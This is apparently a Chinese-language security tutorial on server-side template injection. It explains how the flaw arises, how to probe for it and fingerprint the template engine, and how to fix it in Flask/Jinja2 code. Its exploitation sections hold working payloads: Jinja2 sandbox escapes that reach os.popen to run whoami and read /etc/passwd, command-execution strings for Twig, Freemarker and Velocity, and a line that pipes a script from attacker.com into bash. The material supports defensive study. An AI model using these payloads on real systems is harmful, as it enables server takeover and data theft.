1. 从一次“奇怪”的请求说起初识SSTI那天下午我正在排查一个内部管理系统的日志一个看似普通的用户查询请求引起了我的注意。请求的URL里带了一个参数值是一串略显怪异的字符串{{7*7}}。系统没有报错返回的页面里那个位置赫然显示着“49”。我心里咯噔一下这不是简单的参数传递错误这是服务器在告诉我它“理解”并“执行”了这段本应是数据的代码。这就是我第一次在真实环境中撞见SSTIServer-Side Template Injection服务器端模板注入。简单来说SSTI发生在当应用程序将用户输入直接拼接到模板中并且没有进行恰当的过滤或沙箱处理时。模板引擎比如Java的Thymeleaf、Python的Jinja2、PHP的Twig、JavaScript的EJS它们的设计初衷是美好的将动态数据变量填充到静态的页面骨架模板里实现数据和表现的分离。但问题在于如果开发者错误地将用户可控的输入当成了模板语法的一部分那么攻击者就可以注入自己的模板代码。这些代码会在服务器端被模板引擎解析和执行其危害远超普通的XSS跨站脚本攻击。XSS的代码在用户浏览器里跑影响的是单个用户而SSTI的代码在服务器上跑相当于拿到了服务器的一个“后门”轻则读取服务器上的敏感文件、环境变量重则执行任意系统命令直接控制服务器。很多人包括一些初级开发者容易把SSTI和XSS搞混。它们的关键区别就在于执行位置。你可以这样理解XSS是“骗”用户的浏览器去执行恶意脚本而SSTI是“骗”服务器的模板引擎去执行恶意指令。前者的影响范围受限于用户会话后者则直接威胁到服务器本身的安全。因此SSTI的漏洞评级通常非常高属于高危甚至严重级别。2. SSTI漏洞的成因与核心原理不只是“拼接”那么简单为什么会出现SSTI根源往往在于对“用户输入”的信任过度和对模板引擎工作机制的误解。模板引擎的工作流程通常分为两步首先开发者编写一个模板文件里面包含静态HTML和特殊的模板语法标签如{{变量}}、{% 逻辑 %}然后在后台代码中开发者会提供一个“上下文”Context也就是一堆数据变量最后模板引擎将上下文中的数据按照模板语法渲染到对应位置生成最终的HTML输出。漏洞就出现在“提供上下文”和“渲染”之间的环节。我们来看几个典型的错误模式。2.1 错误模式一动态模板路径或内容这是最直接的一种。有些应用允许用户控制模板文件的名称甚至部分内容。例如一个博客系统可能根据用户选择的“主题”来加载不同的模板文件。如果代码是这样写的# 危险示例用户直接控制模板名 template_name request.GET.get(theme, default) .html template env.get_template(template_name) return template.render()攻击者可以传入theme../../etc/passwd尝试进行路径遍历。更隐蔽的是如果应用支持“自定义模板”比如允许用户提交一段HTML作为个人主页的模板而这段HTML会被直接交给模板引擎渲染# 危险示例用户输入直接作为模板内容 user_template_content request.POST.get(custom_html) template env.from_string(user_template_content) # 直接从字符串创建模板 return template.render(user_datauser_data)这里的env.from_string()极其危险因为它将一段完全由用户控制的字符串当成了模板源码。攻击者只需在custom_html参数中插入{{恶意代码}}即可实现注入。2.2 错误模式二用户输入嵌入模板表达式这种情况更常见也更容易被忽略。开发者本意是将用户输入作为一个普通字符串值放入上下文但却错误地将其放在了模板表达式内部。# 开发者本意将用户名插入到一段欢迎语模板中 username request.GET.get(name, Guest) template_string fHello, {username}! Welcome to our site. # 错误做法将拼接后的整个字符串作为模板渲染 template env.from_string(template_string) return template.render()或者在一些框架的便捷方法中翻车// 假设使用某种模板方法直接拼接 String output templateEngine.process(Hello userInput !, context);在上面的Python例子中如果用户传入的name是{{7*7}}那么template_string就变成了Hello, {{7*7}}! Welcome to our site.。当env.from_string()处理它时{{7*7}}不会被当作普通文本而是会被识别为模板表达式并进行计算。关键在于模板引擎的解析发生在字符串拼接之后。开发者错误地认为“我先拼接好一个完整的字符串再交给模板引擎”却没意识到拼接进去的内容本身可能包含引擎的语法。2.3 模板引擎的“沙箱”逃逸即使应用使用了相对安全的做法比如将用户输入作为变量值传入上下文而非嵌入表达式风险依然存在。许多模板引擎为了功能强大提供了访问底层Python、Java或PHP对象的能力。如果对用户的输入过滤不严攻击者可以利用模板引擎的内置方法或属性一步步从有限的“沙箱”里逃逸出来访问到危险的函数或模块。例如在Jinja2中所有的Python对象都有一套继承链。攻击者可以从一个简单的字符串或数字开始通过访问其__class__属性找到它的类再通过__base__或__mro__找到父类通常是object然后遍历object的子类列表__subclasses__()从中找到危险的类如os._wrap_close最后调用其__init__.__globals__来获取os模块进而执行系统命令。这个过程就像在监狱里找到一把钥匙打开一扇门拿到工具最终拆掉围墙。模板引擎提供的这些内置属性访问能力本意是用于高级模板逻辑却成了沙箱逃逸的阶梯。3. 手动探测与指纹识别如何发现SSTI漏洞发现SSTI漏洞是一个从黑盒模糊测试到白盒确认的过程。你不能一上来就扔一个复杂的Payload那样容易被WAF拦截或者产生大量错误日志。正确的做法是循序渐进地“试探”。3.1 初始探测数学运算与表达式首先寻找所有可能将输入反映到输出页面的地方。包括URL参数、POST表单、Cookie、HTTP头部如User-Agent、Referer有时也会被记录或显示。然后使用无害的模板表达式语法进行测试。通用探测Payload{{7*7}}- 期望输出49{{7*7}}- 在某些引擎如Twig中会输出7777777字符串重复而在Jinja2中可能报错。{{7*7}}- 输出7777777a${7*7}b- 针对某些EL表达式如Java的语法。% 7*7 %- 针对ERB、EJS等引擎。操作与观察提交Payload后查看返回页面的HTML源码而不仅仅是渲染后的页面。因为计算结果可能被插入到HTML标签属性、JavaScript代码块或注释中在渲染后的页面上不可见。对比正常请求和注入请求的响应。除了内容还要注意响应时间一个复杂的表达式可能导致延迟和HTTP状态码500错误可能意味着语法错误被引擎捕获。如果输出是49或7777777那么几乎可以确定存在SSTI并且你初步判断了引擎类型数字运算结果为49说明是算术运算字符串乘数字不同引擎结果不同。3.2 进阶指纹识别利用引擎特有行为当基本表达式被执行后下一步是精确识别后端使用的模板引擎。不同引擎的语法、内置对象和报错信息都有差异。方法一语法差异测试Jinja2 / Django Template:{{abcd.upper()}}会返回ABCD。支持方法调用。Twig (PHP):{{abcd|upper}}会返回ABCD。Twig更倾向于使用过滤器(|)。Freemarker (Java):${abcd?upper_case}会返回ABCD。Velocity (Java):#set($str$foo)是赋值语法尝试#set($x7*7)看是否执行。方法二触发特定错误构造一个必然出错的Payload从错误信息中获取线索。{{invalid_function()}}{{不闭合的括号{{.}}或{{..}}例如Jinja2可能会报错UndefinedError: invalid_function is undefined并附带详细的堆栈跟踪其中很可能包含jinja2字样。Django模板的错误信息也会明确提及TemplateSyntaxError。而一些Java引擎的报错可能会包含freemarker或org.apache.velocity等包名。方法三使用盲注技术如果页面没有回显或者错误信息被屏蔽就需要使用盲注。通过构造条件判断语句根据服务器的响应差异如布尔状态、时间延迟来推断。布尔盲注{{ if True else a}}和{{ if False else a}}观察两次返回的页面内容是否有差异一个可能为空一个包含‘a’。时间盲注这需要引擎支持执行耗时操作。例如在Jinja2中可以尝试{{ .__class__.__mro__[1].__subclasses__()[200].__init__.__globals__[time].sleep(5) if True else }}。如果服务器响应延迟了5秒说明注入成功且可能找到了time模块。时间盲注Payload构造复杂且容易失败需谨慎使用。注意在实际渗透测试或安全审计中盲注会产生大量请求并可能对服务器造成负载必须在获得明确授权的前提下在测试环境中进行。4. 从注入到利用构建攻击链的实战思路确认漏洞和引擎类型后就进入了利用阶段。目标是逐步提升权限从执行一个简单的表达式到最终实现远程代码执行RCE。这个过程需要你对目标引擎的沙箱机制和内置对象有深入了解。4.1 信息收集了解你的“战场”在尝试危险操作前先利用注入点收集服务器信息这有助于后续Payload的构造。获取配置信息{{config}}(Flask)、{{settings}}(Django)可能会直接泄露数据库密码、密钥等。探索内置对象和方法{{self}}、{{request}}、{{.__class__}}。看看模板引擎给你提供了哪些“工具”。遍历属性和方法利用Python的__dict__或dir()函数如果可用{{ .__class__.__dict__ }}或{{ [].__class__.__base__.__subclasses__() }}。这会返回大量类信息是寻找跳板的关键。4.2 寻找“跳板”类沙箱逃逸的关键在Jinja2等基于Python的引擎中最经典的逃逸路线就是通过对象的继承链找到一个包含危险模块如os、subprocess的类。核心步骤如下找到对象的类从任意一个已知对象开始比如空字符串或数字0。{{ .__class__ }}会显示class str。找到基类object通过__mro__方法解析顺序或__base__找到顶层的object类。{{ .__class__.__mro__[1] }}或{{ .__class__.__base__ }}通常指向class object。列出所有子类object是所有类的基类。获取它的所有子类{{ .__class__.__mro__[1].__subclasses__() }}。这会返回一个很长的列表。搜索危险类你需要在这个列表中寻找一些“有用”的类。常见的靶标包括class os._wrap_close(索引可能变化常在130-160之间)class subprocess.Popenclass warnings.catch_warnings(这个类在初始化时会导入sys模块可以作为中间跳板)任何包含__builtins__、__import__或eval引用的类。由于返回的是列表你需要知道目标类的索引号。在实战中我通常会写一个简单的Python脚本在本地相同的Python版本下模拟这个过程计算出目标类的确切索引。或者在注入点通过循环或手动尝试来定位。例如可以尝试{{ .__class__.__mro__[1].__subclasses__()[133] }}看看它是什么类。4.3 构造最终Payload实现命令执行假设我们找到了class os._wrap_close在索引133的位置。获取这个类{{ .__class__.__mro__[1].__subclasses__()[133] }}获取类的__init__方法{{ .__class__.__mro__[1].__subclasses__()[133].__init__ }}获取__globals__字典这个方法包含了它定义时的全局命名空间。{{ .__class__.__mro__[1].__subclasses__()[133].__init__.__globals__ }}从__globals__中导入os模块{{ .__class__.__mro__[1].__subclasses__()[133].__init__.__globals__[os] }}调用os模块的方法现在你可以像在Python中一样使用os模块了。列出目录{{ .__class__.__mro__[1].__subclasses__()[133].__init__.__globals__[os].listdir(.) }}读取文件{{ .__class__.__mro__[1].__subclasses__()[133].__init__.__globals__[os].popen(cat /etc/passwd).read() }}执行命令并回显{{ .__class__.__mro__[1].__subclasses__()[133].__init__.__globals__[os].popen(whoami).read() }}针对其他引擎的Payload思路Twig (PHP): Twig的沙箱相对严格但旧版本或配置不当仍可利用。可以通过_self环境变量来访问上下文例如{{_self.env.registerUndefinedFilterCallback(exec)}}{{_self.env.getFilter(id)}}来执行命令。或者直接使用{{[cat /etc/passwd]|filter(system)}}。Freemarker (Java): Freemarker支持“内建函数”新版有沙箱。但旧版或配置下可以利用?new创建任意Java对象或通过Class加载器。例如#assign exfreemarker.template.utility.Execute?new() ${ ex(whoami) }。Velocity (Java): Velocity允许访问和反射Java对象。Payload可能像#set($x$class.inspect(java.lang.Runtime).type.getRuntime().exec(whoami))重要提示以上所有利用代码仅用于安全研究与授权测试。在未经授权的系统上尝试是非法行为。5. 防御之道开发视角下的SSTI根治方案知道了如何攻击才能更好地防御。从开发者的角度杜绝SSTI需要从设计、编码到部署的全流程关注。5.1 原则一严格区分代码与数据这是最根本的原则。永远不要将用户输入直接作为模板的一部分进行拼接或渲染。具体做法使用模板引擎的上下文/变量传递机制这是唯一正确的方式。将用户输入作为数据值传递给模板而不是作为模板语法。错误render(Hello username)正确render(Hello {{name}}, context{name: username})避免动态生成模板内容除非有极强的业务理由和完备的安全控制如白名单否则不要让用户控制模板文件名、模板内容片段。5.2 原则二实施严格的输入过滤与输出编码虽然模板引擎的上下文传递是主要手段但输入过滤仍是深度防御的一环。输入验证对用户输入进行强类型验证如期望是数字就确保它是数字和长度限制。使用白名单机制只允许预期的字符集。关键点不要试图用黑名单过滤模板语法字符如{ { } }。攻击者总有办法绕过编码、拼接、利用不同引擎语法。黑名单是无效且脆弱的。输出编码确保模板引擎自动对插入到HTML上下文中的变量进行HTML实体编码。现代主流模板引擎Jinja2, Django Templates, Thymeleaf默认都是开启的。但要注意如果使用了|safe过滤器Jinja2/Django或th:utextThymeleaf来标记“安全”的HTML就意味着你完全信任该变量的内容此时如果变量来自用户输入将极其危险。5.3 原则三配置安全的模板环境模板引擎本身提供了一些安全配置选项务必启用。启用沙箱/安全模式许多引擎提供了沙箱环境限制模板可以访问的函数和模块。例如Jinja2的SandboxedEnvironment。虽然沙箱可能被绕过但它能增加攻击难度。移除或限制危险函数/过滤器审查并禁用模板引擎中不必要的、危险的内置函数或过滤器。例如在Jinja2中可以自定义环境移除range,dict,lipsum等可能用于辅助攻击的全局函数。禁用不必要特性例如在Jinja2中可以通过设置undefinedStrictUndefined来让未定义变量直接抛出异常而不是静默失败这有助于在开发阶段发现潜在问题。5.4 原则四依赖安全组件与持续维护保持框架和引擎更新及时更新Web框架和模板引擎到最新版本以获取安全补丁。许多SSTI漏洞源于引擎本身的缺陷。使用安全编码规范在团队中推行安全编码规范并在Code Review中重点关注模板渲染相关的代码。进行安全测试将SSTI测试用例纳入自动化安全测试SAST/DAST流程。使用工具如Semgrep, CodeQL进行静态扫描寻找危险的代码模式如字符串拼接模板渲染。6. 实战演练与深度排查一个模拟案例复盘让我们通过一个虚构但典型的Flask/Jinja2应用场景将上述知识串联起来。假设有一个用户个人主页功能URL为/user/username后端代码如下from flask import Flask, request, render_template_string app Flask(__name__) app.route(/user/username) def user_profile(username): # 危险操作直接将URL路径参数拼接到模板字符串中 template f h1Welcome, {username}!/h1 pThis is your personal page./p return render_template_string(template)6.1 漏洞探测过程初步测试访问/user/{{7*7}}。页面返回Welcome, 49!。确认存在SSTI且引擎为Jinja2因为执行了算术运算。信息收集尝试/user/{{config}}。页面上可能直接打印出Flask的配置信息其中可能包含SECRET_KEY、数据库连接等敏感信息。探索对象尝试/user/{{.__class__}}输出class str。6.2 构造利用链找到object类/user/{{.__class__.__mro__[1]}}输出class object。列出子类/user/{{.__class__.__mro__[1].__subclasses__()}}。由于输出很长我们可以在Burp Suite的Repeater中查看响应搜索os._wrap_close或subprocess.Popen。假设发现class os._wrap_close在索引138。执行命令构造Payload读取当前目录/user/{{.__class__.__mro__[1].__subclasses__()[138].__init__.__globals__[os].listdir(.)}}。页面会以列表形式显示目录内容。获取反弹Shell模拟在实际攻击中攻击者可能会尝试用curl或wget下载远程脚本或者用python -c执行一段反向连接代码。例如/user/{{.__class__.__mro__[1].__subclasses__()[138].__init__.__globals__[os].system(curl http://attacker.com/shell.sh | bash)}}。6.3 漏洞修复方案针对这个案例修复非常简单但必须彻底立即修复停止使用render_template_string拼接用户输入。改为使用标准的模板文件渲染方式。# 修复后代码 app.route(/user/username) def user_profile(username): # 将username作为变量传递给安全的模板 return render_template(user_profile.html, usernameusername)在user_profile.html模板中安全地引用变量h1Welcome, {{ username }}!/h1。Jinja2会自动对username进行HTML编码。深度防御对username路由参数进行输入验证确保其符合预期的格式如只包含字母数字。审查整个项目查找所有使用render_template_string、字符串格式化%、.format、f-string后接模板渲染函数的地方。考虑在Flask应用全局配置中使用更严格的Jinja2环境选项。6.4 排查经验与技巧不要只看渲染页面一定要查看HTML源代码。Payload的执行结果可能被插入到input的value属性、script标签内或注释中在浏览器里看不到。注意编码和截断有时输入会被URL编码、HTML实体编码或长度截断。你可能需要尝试双重编码或调整Payload长度。例如{{的URL编码是%7B%7B。利用错误信息如果注入导致500错误仔细阅读错误信息。它不仅能确认漏洞还能泄露绝对路径、框架版本等关键信息。自动化工具辅助手工测试很有效但也可以使用tplmap或sqlmap其--tamper选项结合--techniqueT等工具进行半自动化的探测和利用。但工具不能完全替代手工分析尤其是面对WAF或自定义过滤时。SSTI是一个威力巨大且往往被低估的漏洞。它考验的不仅是攻击者对各种模板引擎的熟悉程度更是开发者对“数据与代码分离”这一基本原则的坚守。修复它通常不复杂但发现它需要敏锐的观察力和系统的测试方法。每一次成功的防御都是从理解一次成功的攻击开始的。